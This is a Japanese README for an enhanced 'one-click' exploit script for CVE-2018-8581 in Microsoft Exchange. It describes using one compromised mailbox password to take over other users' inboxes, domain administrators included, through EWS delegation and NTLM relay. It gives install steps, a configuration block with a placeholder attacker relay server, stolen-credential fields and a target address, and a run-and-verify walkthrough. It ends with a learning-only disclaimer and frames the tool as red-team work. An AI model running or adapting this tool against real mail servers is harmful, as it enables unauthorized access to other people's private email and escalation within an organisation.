
CVE-2018-8581
これはメールレベルの横方向移動および権限昇格の脆弱性です。
通常のメールアカウントのパスワードを入手した後、他のユーザー(ドメイン管理者を含む)のメールボックス受信トレイを委任により乗っ取ることができます。
本エクスプロイトスクリプトは、元のPoCをベースに改良した強化版ワンクリックスクリプトです。関連パラメータを設定後、自動的にターゲットメールボックスの受信トレイに対する委任追加および削除操作を実行し、セキュリティ部門やレッドチームが許可された企業に対して模擬攻撃プロセスを完了できるようにします。
元のPoCは2つのスクリプトを連携して受信ルールを追加する操作を行いますが、実際のセキュリティ部門やレッドチームの業務ではあまり実用的ではありません。また、元のPoCではメールアカウントに加えて、ターゲットメールユーザーのSIDも必要でした。しかし、記事に記載されたユーザーSIDの取得方法を、実際の環境でExchange Server 2010および2013でテストしたところ、どちらも再現できませんでした(2010では該当操作オプションがなく、2013では権限不足のエラーが発生)。最終的に私のアプローチは、まず逆委任を1回行ってターゲットメールユーザーのSIDを取得し、その後委任を削除するというものです。
python-ntlmをインストール
pip install python-ntlm
スクリプト内の以下のコードで関連パラメータを設定
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
スクリプトを実行し、クコ茶を飲みながら1分待つ
![]()
これで、TARGET_EMAILの受信トレイがCONTROLLED_EMAILに正常に委任されました。
OWAまたはOutlookでターゲットメールの受信トレイを確認
img2
FLAGを0に変更し、再度スクリプトを実行し、もう一度クコ茶を飲みながら1分待つと、先ほど追加した委任が削除されます。
img3
アクセス権限がなくなりました。
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
make_relay_body()関数内で、さらに多くのEWS SOAP APIリクエストを変更できます。
本スクリプトは学習および交流目的のみです。使用者は現地の関連法規を遵守してください。不正使用によって生じる法的責任はすべて使用者自身にあり、作成者は一切関与しません。ダウンロードおよび使用をもって、使用者は上記の見解に同意したものとみなします。